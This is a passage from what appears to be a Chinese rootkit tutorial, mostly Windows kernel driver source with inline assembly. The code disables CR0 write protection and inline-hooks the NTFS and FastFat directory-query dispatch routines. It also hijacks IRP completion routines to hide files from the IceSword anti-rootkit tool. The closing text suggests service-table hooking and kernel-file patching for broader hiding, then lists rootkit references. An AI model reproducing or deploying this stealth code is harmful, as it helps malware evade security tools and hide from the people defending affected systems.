88.
mov dword ptr
[
edi
+
0x5e
],
eax
89.
popad
90.
}
91.
}
92.
Status
=
OldFatCompletionRuntine
(
93.
DeviceObject
,
94.
Irp
,
95.
Context
);
96.
return
Status
;
97.
98.
}
99.
100.
NTSTATUS NewNtfsQueryDirectoryDispatch
(
101.
IN PDEVICE_OBJECT DeviceObject
,
102.
IN OUT PIRP Irp
)
103.
{
104.
NTSTATUS Status
;
105.
DWORD QueryFile
;
106.
107.
108.
_asm
109.
{
110.
pushad
111.
mov edi
,
OldNtfsQueryDirectoryDispatch
112.
mov eax
,
dword ptr ResumCodeNtfsQueryDirectoryDispatch
[
0
]
113.
mov
[
edi
],
eax
114.
mov ax
,
word ptr ResumCodeNtfsQueryDirectoryDispatch
[
4
]
115.
mov
[
edi
+
4
],
ax
116.
popad
117.
}
118.
119.
_asm
120.
{
121.
pushad
122.
mov edi
,
Irp
123.
mov eax
, [
edi
+
0x60
]
124.
mov ecx
, [
edi
+
0x3c
]
125.
mov edi
, [
eax
+
4
]
126.
mov QueryFile
,
edi
127.
mov NtfsUserbuf
,
ecx
128.
mov NtfsLocaIrp
,
eax
129.
popad
130.
}
131.
132.
if
(
QueryFile
==
0xfe8
)
133.
{
134.
_asm
135.
{
136.
pushad
137.
mov edi
,
NtfsLocaIrp
138.
mov eax
, [
edi
+
0x1c
]
139.
mov OldNtfsCompletionRuntine
,
eax
140.
lea eax
,
NewNtfsCompletionRuntine
141.
mov
[
edi
+
0x1c
],
eax
142.
popad
143.
}
144.
}
145.
146.
147.
Status
=
OldNtfsQueryDirectoryDispatch
(
148.
DeviceObject
,
149.
Irp
);
150.
151.
_asm
152.
{
153.
pushad
154.
mov edi
,
OldNtfsQueryDirectoryDispatch
155.
mov eax
,
dword ptr CrackCodeNtfsQueryDirectoryDispatch
[
0
]
156.
mov
[
edi
],
eax
157.
mov ax
,
word ptr CrackCodeNtfsQueryDirectoryDispatch
[
4
]
158.
mov
[
edi
+
4
],
ax
159.
popad
160.
}
161.
return
Status
;
162.
}
163.
164.
165.
NTSTATUS NewFatQueryDirectoryDispatch
(
166.
IN PDEVICE_OBJECT DeviceObject
,
167.
IN OUT PIRP Irp
)
168.
{
169.
NTSTATUS Status
;
170.
DWORD QueryFile
;
171.
172.
173.
_asm
174.
{
175.
pushad
176.
,
mov edi
,
OldFatQueryDirectoryDispatch
177.
mov eax
,
dword ptr ResumCodeFatQueryDirectoryDispatch
[
0
]
178.
mov
[
edi
],
eax
179.
mov ax
,
word ptr ResumCodeFatQueryDirectoryDispatch
[
4
]
180.
mov
[
edi
+
4
],
ax
181.
popad
182.
}
183.
184.
_asm
185.
{
186.
pushad
187.
mov edi
,
Irp
188.
mov eax
, [
edi
+
0x60
]
189.
mov ecx
, [
edi
+
0x3c
]
190.
mov edi
, [
eax
+
4
]
191.
mov QueryFile
,
edi
192.
mov FatUserbuf
,
ecx
193.
mov FatLocaIrp
,
eax
194.
popad
195.
}
196.
197.
if
(
QueryFile
==
0xfe8
)
198.
{
199.
_asm
200.
{
201.
pushad
202.
mov edi
,
FatLocaIrp
203.
mov eax
, [
edi
+
0x1c
]
204.
mov OldFatCompletionRuntine
,
eax
205.
lea eax
,
NewFatCompletionRuntine
206.
mov
[
edi
+
0x1c
],
eax
207.
popad
208.
}
209.
}
210.
211.
212.
Status
=
OldFatQueryDirectoryDispatch
(
213.
DeviceObject
,
214.
Irp
);
215.
216.
_asm
217.
{
218.
pushad
219.
mov edi
,
OldFatQueryDirectoryDispatch
220.
mov eax
,
dword ptr CrackCodeFatQueryDirectoryDispatch
[
0
]
221.
mov
[
edi
],
eax
222.
mov ax
,
word ptr CrackCodeFatQueryDirectoryDispatch
[
4
]
223.
mov
[
edi
+
4
],
ax
224.
popad
225.
}
226.
return
Status
;
227.
}
228.
229.
NTSTATUS PatchFileSystemDevicePatDispatch
()
230.
{
231.
NTSTATUS NtfsStatus
;
232.
NTSTATUS FastFatStatus
;
233.
UNICODE_STRING FileSystemName
;
234.
PVOID FileDeviceObject
;
235.
POBJECT_TYPE ObjectType
;
236.
237.
DbgPrint
(
"My Driver Loaded!"
);
238.
239.
RtlInitUnicodeString
( &
FileSystemName
,
L
"\\FileSystem\\Ntfs"
);
240.
241.
NtfsStatus
=
ObReferenceObjectByName
(
242.
&
FileSystemName
,
243. 0x40
,
244.
NULL
,
245.
NULL
,
246.
&
ObjectType
,
247.
NULL
,
248.
NULL
,
249.
&
FileDeviceObject
);
250.
if
(
NtfsStatus
==
STATUS_SUCCESS
)
251.
{
252.
253.
_asm
254.
{
255.
pushad
256.
mov edi
,
FileDeviceObject
257.
mov eax
, [
edi
+
0x68
]
258.
mov OldNtfsQueryDirectoryDispatch
,
eax
259.
popad
260.
}
261.
262.
263.
_asm
264.
{
265.
CLI
266.
MOV EAX
,
CR0
267.
AND EAX
,
NOT
10000H
268.
MOV CR0
,
EAX
269.
}
270.
271.
_asm
272.
{
273.
pushad
274.
mov edi
,
OldNtfsQueryDirectoryDispatch
275.
mov eax
, [
edi
]
276.
mov dword ptr ResumCodeNtfsQueryDirectoryDispatch
[
0
],
eax
277.
mov ax
, [
edi
+
4
]
278.
mov word ptr ResumCodeNtfsQueryDirectoryDispatch
[
4
],
ax
279.
280.
mov byte ptr CrackCodeNtfsQueryDirectoryDispatch
[
0
],
0x68
281.
lea edi
,
NewNtfsQueryDirectoryDispatch
282.
mov dword ptr CrackCodeNtfsQueryDirectoryDispatch
[
1
],
edi
283.
mov byte ptr CrackCodeNtfsQueryDirectoryDispatch
[
5
],
0xC3
284.
285.
mov edi
,
OldNtfsQueryDirectoryDispatch
286.
mov eax
,
dword ptr CrackCodeNtfsQueryDirectoryDispatch
[
0
]
287.
mov dword ptr
[
edi
],
eax
288.
mov ax
,
word ptr CrackCodeNtfsQueryDirectoryDispatch
[
4
]
289.
mov word ptr
[
edi
+
4
],
ax
290.
popad
291.
}
292.
293.
294.
_asm
295.
{
296.
MOV EAX
,
CR0
297.
OR EAX
,
10000H
298.
MOV CR0
,
EAX
299.
STI
300.
}
301.
}
302.
303.
304.
RtlInitUnicodeString
( &
FileSystemName
,
L
"\\FileSystem\\Fastfat"
);
305.
306.
FastFatStatus
=
ObReferenceObjectByName
(
307.
&
FileSystemName
,
308. 0x40
,
309.
NULL
,
310.
NULL
,
311.
&
ObjectType
,
312.
NULL
,
313.
NULL
,
314.
&
FileDeviceObject
);
315.
if
(
FastFatStatus
==
STATUS_SUCCESS
)
316.
{
317.
_asm
318.
{
319.
pushad
320.
mov edi
,
FileDeviceObject
321.
mov eax
, [
edi
+
0x68
]
322.
mov OldFatQueryDirectoryDispatch
,
eax
323.
popad
324.
}
325.
326.
327.
_asm
328.
{
329.
CLI
330.
MOV EAX
,
CR0
331.
AND EAX
,
NOT
10000H
332.
MOV CR0
,
EAX
333.
}
334.
335.
_asm
336.
{
337.
pushad
338.
mov edi
,
OldFatQueryDirectoryDispatch
339.
mov eax
, [
edi
]
340.
mov dword ptr ResumCodeFatQueryDirectoryDispatch
[
0
],
eax
341.
mov ax
, [
edi
+
4
]
342.
mov word ptr ResumCodeFatQueryDirectoryDispatch
[
4
],
ax
343.
344.
mov byte ptr CrackCodeFatQueryDirectoryDispatch
[
0
],
0x68
345.
lea edi
,
NewFatQueryDirectoryDispatch
346.
mov dword ptr CrackCodeFatQueryDirectoryDispatch
[
1
],
edi
347.
mov byte ptr CrackCodeFatQueryDirectoryDispatch
[
5
],
0xC3
348.
349.
mov edi
,
OldFatQueryDirectoryDispatch
350.
mov eax
,
dword ptr CrackCodeFatQueryDirectoryDispatch
[
0
]
351.
mov dword ptr
[
edi
],
eax
352.
mov ax
,
word ptr CrackCodeFatQueryDirectoryDispatch
[
4
]
353.
mov word ptr
[
edi
+
4
],
ax
354.
popad
355.
}
356.
357.
358.
_asm
359.
{
360.
MOV EAX
,
CR0
361.
OR EAX
,
10000H
362.
MOV CR0
,
EAX
363.
STI
364.
}
365.
366.
367.
368.
}
369.
370.
return
(
NtfsStatus
&
FastFatStatus
);
371.
372.
}
以上代码只能实现在IS中隐藏文件,如果要想在普通情况下隐藏文件,可以hook服务表中的函数,也可以在上面构造新的分派函数中增加一些选择项就是了。但是记得hook服务表中的函数别忘了把构造后的数据写入otoskrnl
.
exe中,免得IS启动时失效。
八、关于端口:
感觉是该停止的时候了,如果把这个也搞出来并且本文被灰鸽子作者之流A进他的作品的话,那就违背我的本意并且我的心也会也会难受的。因此就在这里止步吧!呵呵,今年我想要学的东西,想要做的事情也都做完了。可以好好回去过年了。爽啊!最后祝各位圣诞快乐!特别时那些他乡的游子。记得打个电话回去问候哟!
参考文章:
wuyanfeng 《icesword 驱动部分分析》
//呵呵,希望大家给国产调试器一些支持 !!
tombkeeper 《获取Windows 系统的内核变量》 http
:
//www.xfocus.net/articles/200408/724.html
JIURL 《IRP 乱杂谈》 http
:
//jiurl.yeah.net/
JIURL 《JIURL玩玩Win2k进程线程篇 HANDLE_TABLE》http
:
//jiurl.yeah.net/
JIURL 《JIURL玩玩Win2k 对象》 http
:
//jiurl.yeah.net/
sinister 《隐藏任意进程,目录
/
文件,注册表,端口》